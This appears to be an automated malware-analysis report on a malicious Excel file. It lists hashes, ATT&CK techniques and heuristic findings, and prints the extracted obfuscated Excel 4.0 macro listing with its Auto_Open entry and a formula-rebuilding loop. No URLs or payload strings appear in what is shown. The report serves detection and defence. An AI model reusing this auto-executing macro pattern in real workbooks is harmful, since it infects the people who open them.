Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a94df9486f254be6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:55 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 2cdcca89046f4dee06d57a7aa014d80e SHA-1: ab2f48a503fa158063ffa3bada33407eb9515d0e SHA-256: a94df9486f254be64a40b40d1a3fe883d4a130e0a3ef5f7970d6089e1925cbc4
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 (XLM) macros. The presence of an Auto_Open defined name and the use of dangerous formula APIs like RUN indicate that the macro is designed to execute arbitrary code upon opening. This is a common technique for delivering secondary payloads, although no specific URLs or further execution details were extracted from this sample.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6463 bytes
SHA-256: ea794605e9861669153c30b5e9aeafd2aa550475785adb46ea7a48e40e70de49
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  szXIJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I156 
' 0018     24 LABEL : Cell Value, String Constant - CLstEDdeF len=0 
' 0018     21 LABEL : Cell Value, String Constant - CoVMzs len=0 
' 0018     21 LABEL : Cell Value, String Constant - CplMVt len=0 
' 0018     21 LABEL : Cell Value, String Constant - DRUeHT len=0 
' 0018     24 LABEL : Cell Value, String Constant - DZEXMcyUT len=0 
' 0018     20 LABEL : Cell Value, String Constant - EsLjG len=0 
' 0018     24 LABEL : Cell Value, String Constant - fBpYYZndz len=0 
' 0018     25 LABEL : Cell Value, String Constant - hhIjFpwPHT len=0 
' 0018     20 LABEL : Cell Value, String Constant - JIGHJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - jVewEhaSSMH len=0 
' 0018     23 LABEL : Cell Value, String Constant - lWwwwXxc len=0 
' 0018     23 LABEL : Cell Value, String Constant - OAzQoDvX len=0 
' 0018     22 LABEL : Cell Value, String Constant - PGDkVJk len=0 
' 0018     22 LABEL : Cell Value, String Constant - PWJzmIJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - SguUsJZnGqiu len=0 
' 0018     23 LABEL : Cell Value, String Constant - ToWAAmMQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - tVbVWsi len=0 
' 0018     25 LABEL : Cell Value, String Constant - VjhbAHjtro len=0 
' 0018     25 LABEL : Cell Value, String Constant - wRaiqbadKD len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZmdrQNPn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  szXIJ,I62,"SET.NAME("JIGHJ",VALUE("0"))",""
'  szXIJ,I64,"SET.NAME("EsLjG",JIGHJ)",""
'  szXIJ,I68,"SET.NAME("jVewEhaSSMH",JIGHJ)",""
'  szXIJ,I73,"SET.NAME("OAzQoDvX",COUNTA(ZmdrQNPn))",""
'  szXIJ,I77,"SET.NAME("ToWAAmMQ",COUNTA(hhIjFpwPHT))",""
'  szXIJ,I80,[],""
'  szXIJ,I84,"SET.NAME("CoVMzs","")",""
'  szXIJ,I86,"EsLjG",""
'  szXIJ,I90,"SET.NAME("DRUeHT",HLOOKUP("*",ZmdrQNPn,EsLjG,FALSE))",""
'  szXIJ,I93,"CLstEDdeF",""
'  szXIJ,I97,"SET.NAME("DZEXMcyUT",JIGHJ)",""
'  szXIJ,I101,[],""
'  szXIJ,I104,"DZEXMcyUT",""
'  szXIJ,I107,"fBpYYZndz",""
'  szXIJ,I110,"CplMVt",""
'  szXIJ,I114,"tVbVWsi",""
'  szXIJ,I117,"SET.NAME("PGDkVJk",VALUE(HLOOKUP("*",hhIjFpwPHT,tVbVWsi,FALSE)))",""
'  szXIJ,I120,"wRaiqbadKD",""
'  szXIJ,I123,"CoVMzs",""
'  szXIJ,I126,"jVewEhaSSMH",""
'  szXIJ,I131,NEXT(),""
'  szXIJ,I135,"VjhbAHjtro",""
'  szXIJ,I138,"SET.NAME("f",INT(T(FORMULA(T(CoVMzs)&"",""&T(VjhbAHjtro)))))",""
'  szXIJ,I142,"SguUsJZnGqiu",""
'  szXIJ,I147,NEXT(),""
'  szXIJ,I151,RETURN(),""
'  szXIJ,I181,"SET.NAME("PWJzmIJ",I62)",""
'  szXIJ,I184,"ZmdrQNPn",""
'  szXIJ,I187,"SET.NAME("hhIjFpwPHT",R53C13)",""
'  szXIJ,I191,"SET.NAME("SguUsJZnGqiu",196)",""
'  szXIJ,I193,"SET.NAME("lWwwwXxc",9)",""
'  szXIJ,I195,PWJzmIJ(),""
'  szXIJ,I196,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.